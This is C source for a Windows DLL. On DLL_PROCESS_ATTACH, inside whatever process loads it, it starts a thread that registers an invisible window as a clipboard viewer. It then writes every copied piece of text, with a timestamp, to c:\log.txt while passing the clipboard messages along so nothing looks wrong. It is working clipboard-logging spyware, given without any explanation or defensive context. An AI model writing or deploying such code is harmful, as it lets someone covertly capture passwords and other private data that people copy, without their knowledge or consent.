#define WIN32_LEAN_AND_MEAN

#include <windows.h>
#include <tchar.h>

#define LOG_FILE_NAME "c:\\log.txt"

LPCTSTR szWindowClass = _TEXT("ClipBoardGet");
LPCTSTR szTitle       = _TEXT("ClipBoardGet Window");

DWORD               WINAPI MainThread(LPVOID pData);

ATOM                MyRegisterClass(HINSTANCE hInstance);
BOOL                InitInstance(HINSTANCE);
LRESULT CALLBACK    WndProc(HWND, UINT, WPARAM, LPARAM);
BOOL                AddDataToFile(PTCHAR AddDataFile, PTCHAR AddData, PTCHAR strTime);


BOOL APIENTRY DllMain( HANDLE hModule, 
                       DWORD  ul_reason_for_call, 
                       LPVOID lpReserved
                     )
{
    HANDLE hThread;

    switch(ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        
        if((hThread = CreateThread(NULL, 0, MainThread, (LPVOID)hModule, 0, NULL)) == NULL){
            MessageBox(NULL, _TEXT("CreateThread"), _TEXT("Error"), MB_OK);
            return FALSE;
        }
        CloseHandle(hThread);
        break;

    }
    return TRUE;
}



DWORD WINAPI MainThread(LPVOID pData)
{
    HINSTANCE hInstance = (HINSTANCE)pData;

    MSG msg;

    MyRegisterClass(hInstance);

    if (!InitInstance (hInstance)) 
    {
        return FALSE;
    }

    BOOL bRet;
    while ((bRet = GetMessage(&msg, NULL, 0, 0)) != 0) 
    {
        if(bRet == -1)
        {
            break;
        }

        if (!TranslateAccelerator(msg.hwnd, NULL, &msg)) 
        {
            TranslateMessage(&msg);
            DispatchMessage(&msg);
        }
    }

    return (int) msg.wParam;
}



ATOM MyRegisterClass(HINSTANCE hInstance)
{
    WNDCLASSEX wcex;

    wcex.cbSize = sizeof(WNDCLASSEX); 

    wcex.style             = CS_HREDRAW | CS_VREDRAW;
    wcex.lpfnWndProc       = (WNDPROC)WndProc;
    wcex.cbClsExtra        = 0;
    wcex.cbWndExtra        = 0;
    wcex.hInstance         = hInstance;
    wcex.hIcon             = LoadIcon(hInstance, NULL);
    wcex.hCursor           = LoadCursor(NULL, IDC_ARROW);
    wcex.hbrBackground     = (HBRUSH)(COLOR_WINDOW+1);
    wcex.lpszMenuName      = (LPCTSTR)NULL;
    wcex.lpszClassName     = szWindowClass;
    wcex.hIconSm           = LoadIcon(wcex.hInstance, NULL);

    return RegisterClassEx(&wcex);
}



BOOL InitInstance(HINSTANCE hInstance)
{
   HWND hWnd;

   hWnd = CreateWindow(szWindowClass, szTitle, WS_OVERLAPPEDWINDOW,
      CW_USEDEFAULT, 0, CW_USEDEFAULT, 0, NULL, NULL, hInstance, NULL);

   if (!hWnd)
   {
      return FALSE;
   }

   return TRUE;
}



LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
    static HWND ClipWnd = NULL;
    static TCHAR szLogFilePath[256];

    switch (message) 
    {
    case WM_CREATE:
        
        lstrcpy(szLogFilePath, _TEXT(LOG_FILE_NAME));
        ClipWnd = SetClipboardViewer(hWnd);
        break;

    case WM_DRAWCLIPBOARD:

        if(OpenClipboard(hWnd) &&
            GetClipboardData(CF_TEXT) != NULL) {
        
            SYSTEMTIME stTime;
            GetLocalTime(&stTime);

            TCHAR strTime[64];
            wsprintf(strTime, _TEXT("\r\n\r\n--- %d:%d:%d_%d:%d:%d ---\r\n\r\n"),
                        stTime.wYear, stTime.wMonth, stTime.wDay,
                        stTime.wHour, stTime.wMinute, stTime.wSecond);

            HANDLE hText = GetClipboardData(CF_TEXT);
            
            PTCHAR pText = (PTCHAR)GlobalLock(hText);
            if(AddDataToFile(szLogFilePath, pText, strTime) == FALSE){
                MessageBox(NULL, _TEXT("AddDataToFile"), _TEXT("Error"), MB_OK);
            }
            GlobalUnlock(hText);
        }

        CloseClipboard();
        if(ClipWnd != NULL){
            SendMessage(ClipWnd, message, wParam, lParam);
        }
        break;

    case WM_CHANGECBCHAIN:

        if((HWND)wParam == ClipWnd){
            ClipWnd = (HWND)lParam;
        }else if(ClipWnd != NULL){
            SendMessage(ClipWnd, message, wParam, lParam);
        }
        break;
    
    case WM_DESTROY:

        ChangeClipboardChain(hWnd, ClipWnd);
        PostQuitMessage(0);
        break;

    default:
        return DefWindowProc(hWnd, message, wParam, lParam);
    }
    return 0;
}



BOOL AddDataToFile(PTCHAR AddDataFile, PTCHAR AddData, PTCHAR strTime)
{
    HANDLE hFile;
    if((hFile = CreateFile(AddDataFile, GENERIC_WRITE | GENERIC_READ, FILE_SHARE_READ, 
        NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL)) == INVALID_HANDLE_VALUE){
            return FALSE;
    }

    SetFilePointer(hFile, 0, NULL, FILE_END);

    DWORD dwWrite;
    WriteFile(hFile, strTime, lstrlen(strTime), &dwWrite, NULL);
    WriteFile(hFile, AddData, lstrlen(AddData), &dwWrite, NULL);
    
    CloseHandle(hFile);
    return TRUE;
}